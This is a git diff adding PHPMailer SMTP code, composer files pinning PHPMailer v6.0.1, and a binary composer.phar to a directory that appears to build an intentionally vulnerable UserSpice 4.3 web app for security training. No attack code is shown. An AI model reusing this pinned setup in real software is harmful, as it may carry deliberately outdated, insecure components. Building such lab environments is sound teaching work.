/** + * Get SMTP timeout. + * + * @return int + */ + public function getTimeout() + { + return $this->Timeout; + } + + /** + * Reports an error number and string. + * + * @param int $errno The error number returned by PHP + * @param string $errmsg The error message returned by PHP + * @param string $errfile The file the error occurred in + * @param int $errline The line number the error occurred on + */ + protected function errorHandler($errno, $errmsg, $errfile = '', $errline = 0) + { + $notice = 'Connection failed.'; + $this->setError( + $notice, + $errmsg, + (string) $errno + ); + $this->edebug( + "$notice Error #$errno: $errmsg [$errfile line $errline]", + self::DEBUG_CONNECTION + ); + } + + /** + * Extract and return the ID of the last SMTP transaction based on + * a list of patterns provided in SMTP::$smtp_transaction_id_patterns. + * Relies on the host providing the ID in response to a DATA command. + * If no reply has been received yet, it will return null. + * If no pattern was matched, it will return false. + * + * @return bool|null|string + */ + protected function recordLastTransactionID() + { + $reply = $this->getLastReply(); + + if (empty($reply)) { + $this->last_smtp_transaction_id = null; + } else { + $this->last_smtp_transaction_id = false; + foreach ($this->smtp_transaction_id_patterns as $smtp_transaction_id_pattern) { + if (preg_match($smtp_transaction_id_pattern, $reply, $matches)) { + $this->last_smtp_transaction_id = $matches[1]; + break; + } + } + } + + return $this->last_smtp_transaction_id; + } + + /** + * Get the queue/transaction ID of the last SMTP transaction + * If no reply has been received yet, it will return null. + * If no pattern was matched, it will return false. + * + * @return bool|null|string + * + * @see recordLastTransactionID() + */ + public function getLastTransactionID() + { + return $this->last_smtp_transaction_id; + } +} diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/composer.json b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/composer.json new file mode 100644 index 000000000..c516826e6 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/composer.json @@ -0,0 +1,5 @@ +{ + "require": { + "phpmailer/phpmailer": "^6.0" + } +} diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/composer.lock b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/composer.lock new file mode 100644 index 000000000..2d9cb9192 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/composer.lock @@ -0,0 +1,84 @@ +{ + "_readme": [ + "This file locks the dependencies of your project to a known state", + "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#composer-lock-the-lock-file", + "This file is @generated automatically" + ], + "hash": "5c5d5ed8e2c0e67bf6634dc0514f60be", + "content-hash": "6d67203b6e9fc952ae681c538683a497", + "packages": [ + { + "name": "phpmailer/phpmailer", + "version": "v6.0.1", + "source": { + "type": "git", + "url": "https://github.com/PHPMailer/PHPMailer.git", + "reference": "992392437c2e2784e0dc41446024fe411d293c96" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/PHPMailer/PHPMailer/zipball/992392437c2e2784e0dc41446024fe411d293c96", + "reference": "992392437c2e2784e0dc41446024fe411d293c96", + "shasum": "" + }, + "require": { + "ext-ctype": "*", + "php": ">=5.5.0" + }, + "require-dev": { + "doctrine/annotations": "1.2.*", + "friendsofphp/php-cs-fixer": "^2.2", + "phpdocumentor/phpdocumentor": "2.*", + "phpunit/phpunit": "^4.8 || ^5.7", + "zendframework/zend-eventmanager": "3.0.*", + "zendframework/zend-i18n": "2.7.3", + "zendframework/zend-serializer": "2.7.*" + }, + "suggest": { + "ext-mbstring": "Needed to send email in multibyte encoding charset", + "hayageek/oauth2-yahoo": "Needed for Yahoo XOAUTH2 authentication", + "league/oauth2-google": "Needed for Google XOAUTH2 authentication", + "psr/log": "For optional PSR-3 debug logging", + "stevenmaguire/oauth2-microsoft": "Needed for Microsoft XOAUTH2 authentication", + "symfony/polyfill-mbstring": "To support UTF-8 if the Mbstring PHP extension is not enabled (^1.2)" + }, + "type": "library", + "autoload": { + "psr-4": { + "PHPMailer\\PHPMailer\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "LGPL-2.1" + ], + "authors": [ + { + "name": "Jim Jagielski", + "email": "jimjag@gmail.com" + }, + { + "name": "Marcus Bointon", + "email": "phpmailer@synchromedia.co.uk" + }, + { + "name": "Andy Prevost", + "email": "codeworxtech@users.sourceforge.net" + }, + { + "name": "Brent R. Matzelle" + } + ], + "description": "PHPMailer is a full-featured email creation and transfer class for PHP", + "time": "2017-09-14 16:47:12" + } + ], + "packages-dev": [], + "aliases": [], + "minimum-stability": "stable", + "stability-flags": [], + "prefer-stable": false, + "prefer-lowest": false, + "platform": [], + "platform-dev": [] +} diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/composer.phar b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/composer.phar new file mode 100644 index 0000000000000000000000000000000000000000..508f9cf274be7a7526630f9ef01c183e6b17612f GIT binary patch literal 1852323 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 